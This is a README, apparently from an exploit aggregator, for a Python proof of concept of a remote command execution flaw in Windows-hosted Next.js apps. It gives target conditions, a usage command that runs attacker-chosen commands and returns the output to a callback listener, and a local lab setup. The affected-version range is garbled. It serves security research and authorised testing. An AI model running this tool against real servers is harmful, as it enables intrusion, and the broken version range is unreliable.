## https://sploitus.com/exploit?id=48088D97-4040-5495-99B1-599CDDEDCB31
# CVE-2026-75604 RCE PoC
Python proof of concept for [CVE-2026-75604](https://github.com/vercel/next.js/security/advisories/GHSA-p293-qw3h-jr36), an unauthenticated remote command execution vulnerability in Windows-hosted Next.js applications that use both the Pages Router and App Router without Cache Components.
## Demonstration
## Requirements
Target requirements:
- Next.js `>=13.4 =16.0 <16.3.3`
- A native Windows filesystem
- Pages Router and App Router in the same application
- Cache Components disabled
- The default Next.js filesystem cache
- A dynamic Pages Router ISR route
- A compatible closure-bound Server Action
- Encoded backslashes reaching Next.js without normalization
- Outbound HTTP access to the callback address
This exact PoC was validated with `next@16.2.11`. It expects the route layout and Server Action gadget supplied by the optional `target/` application. Other affected applications may require changes to the route paths or gadget.
Attacker requirements:
- Python 3.9 or newer
- A callback address reachable by the target
```bash
python -m pip install -r requirements.txt
```
## Usage
```bash
python poc.py --target http://TARGET:3000 --callback-ip CALLBACK_IP
```
The script prints the command output received through its callback listener.
Optional flags:
- `--command COMMAND`: command to execute; defaults to `whoami`
- `--callback-port PORT`: callback port; defaults to `4331`
- `--listen-address ADDRESS`: local callback bind address; defaults to `0.0.0.0`
- `--timeout SECONDS`: request and callback timeout; defaults to `20`
- `--insecure`: disables TLS certificate verification
## Local target
The optional `target/` application pins `next@16.2.11` and uses the standard Next.js production server:
```powershell
cd target
npm ci
npm run build
npm start
```
Run the PoC in another terminal:
```powershell
python poc.py --target http://127.0.0.1:4330 --callback-ip 127.0.0.1
```
The included target provides one compatible closure-bound Server Action. The PoC is not a universal gadget for every affected application.
## Disclaimer
This PoC is provided for educational purposes, security research, and authorized testing only. Use it only on systems you own or have explicit permission to test.
## Credits
Credit to [evolutionstorm](https://github.com/evolutionstorm) for discovering the vulnerability.
This PoC was independently reconstructed from the public advisory and [Next.js patch](https://github.com/vercel/next.js/commit/09f9c8a758a6b20f248b0e90e539bba8225c73bb). It is not the original exploit and has no connection to its author.